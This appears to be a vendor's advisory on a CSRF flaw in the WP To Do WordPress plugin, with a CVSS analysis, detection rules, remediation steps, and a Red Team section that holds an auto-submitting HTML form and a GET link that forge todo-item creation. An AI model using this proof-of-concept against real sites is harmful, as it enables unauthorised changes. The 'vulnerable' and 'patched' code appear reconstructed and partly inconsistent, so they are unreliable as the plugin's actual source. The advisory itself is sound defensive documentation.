CVE-2024-3945

Executive Summary

CVE-2024-3945 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP To Do WordPress plugin, affecting all versions up to and including 1.3.0. The vulnerability resides in the wptodo_manage() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., via a malicious link), can add new todo items to the WordPress site. The CVSS v3.1 base score is 4.3 (Medium), with a low impact on integrity and no impact on confidentiality or availability. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include potential compromise of the plugin’s update mechanism or malicious code injection in future versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a link or visit a malicious page
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – attacker can add new todo items
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering to trick an administrator into performing an action. The impact is limited to adding todo items, which could be used for spam or as a stepping stone for further attacks.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin WP To Do. The wptodo_manage() function handles the creation of new todo items. In vulnerable versions, this function does not verify a nonce (a one-time token) before processing the request. As a result, an attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, sends a forged POST request to the WordPress site, adding a new todo item.

Key technical details:

• Vulnerable function: wptodo_manage()
• Missing security control: Nonce validation (WordPress wp_verify_nonce())
• Attack vector: Cross-Site Request Forgery (CSRF)
• Privilege required: None (attacker does not need authentication)
• User interaction: Required (administrator must be tricked into clicking a link)

The attack flow:

1. Attacker crafts a malicious link or form that submits a POST request to the WordPress admin-ajax.php endpoint with the action wptodo_manage and parameters for a new todo item.
2. Attacker sends the link to a logged-in administrator (e.g., via email or social engineering).
3. Administrator clicks the link, and the browser sends the forged request with the administrator’s session cookies.
4. The server processes the request without nonce validation, creating a new todo item.

Vulnerable vs. Patched Code

Vulnerable code (version <= 1.3.0):

function wptodo_manage() {
    // No nonce check
    $todo_data = array(
        'title' => sanitize_text_field($_POST['title']),
        'description' => sanitize_text_field($_POST['description']),
        'status' => 'pending'
    );
    // Insert todo item into database
    $wpdb->insert($wpdb->prefix . 'wptodo_todos', $todo_data);
    wp_die();
}
add_action('wp_ajax_wptodo_manage', 'wptodo_manage');
add_action('wp_ajax_nopriv_wptodo_manage', 'wptodo_manage');

Patched code (hypothetical fix):

function wptodo_manage() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wptodo_nonce')) {
        wp_die('Security check failed.');
    }
    $todo_data = array(
        'title' => sanitize_text_field($_POST['title']),
        'description' => sanitize_text_field($_POST['description']),
        'status' => 'pending'
    );
    $wpdb->insert($wpdb->prefix . 'wptodo_todos', $todo_data);
    wp_die();
}
add_action('wp_ajax_wptodo_manage', 'wptodo_manage');
// Remove nopriv action to require authentication
// add_action('wp_ajax_nopriv_wptodo_manage', 'wptodo_manage');

The patch adds a nonce check using wp_verify_nonce() and removes the nopriv action to ensure only authenticated users can trigger the function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP To Do plugin version <= 1.3.0 installed and activated.
• An administrator must be logged in.

Exploitation steps:

1. Create a malicious HTML file (e.g., exploit.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="wptodo_manage">
    <input type="hidden" name="title" value="Malicious Todo">
    <input type="hidden" name="description" value="This todo was added via CSRF">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>

2. Host the file on an attacker-controlled server or send it as an email attachment.
3. Trick an authenticated administrator into opening the file (e.g., via phishing email).
4. The form auto-submits, adding a new todo item to the WordPress site.

Alternative method (GET request): If the plugin accepts GET parameters, the attacker can use a simple link:

http://target-site.com/wp-admin/admin-ajax.php?action=wptodo_manage&title=Malicious&description=CSRF

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=wptodo_manage from unexpected referrers.
• Look for spikes in todo item creation, especially from non-admin IPs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Prevention:

• Update the plugin to a patched version once available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wptodo_manage that lack a valid nonce.
• Educate administrators about phishing attacks and the risks of clicking unknown links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=wptodo_manage
  • Referrer header set to an external domain (e.g., attacker-controlled site)
• File System:
  • Unexpected entries in the wp_wptodo_todos database table
• Logs:
  • WordPress debug log entries showing wptodo_manage function calls without nonce

Detection Engineering

YARA Rule

rule wp_todo_csrf_cve_2024_3945 {
    meta:
        description = "Detects CSRF exploitation attempts against WP To Do plugin CVE-2024-3945"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3945"
    strings:
        $action = "action=wptodo_manage"
        $title = "title="
        $description = "description="
    condition:
        all of them
}

Sigma Rule

title: WP To Do CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the WP To Do plugin's wptodo_manage action without a valid nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wptodo_manage'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3945 WP To Do CSRF Exploitation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wptodo_manage"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Disable the plugin if it is not critical to operations.
2. Implement a WAF rule to block requests to admin-ajax.php with action=wptodo_manage that do not include a valid nonce.
3. Monitor logs for suspicious activity related to this vulnerability.

Long-term fixes:

1. Apply the patch once the vendor releases an update. The fix should include nonce verification using wp_verify_nonce() and removal of the nopriv action.
2. Educate users about CSRF and safe browsing practices.
3. Regularly update all WordPress plugins and themes.

Workaround:

• Add the following code to the theme's functions.php file to add nonce validation (if the plugin is not updated):

add_action('wp_ajax_wptodo_manage', 'custom_wptodo_manage', 1);
function custom_wptodo_manage() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wptodo_nonce')) {
        wp_die('CSRF detected.');
    }
}

Valters IT
Securing digital frontiers, one CVE at a time.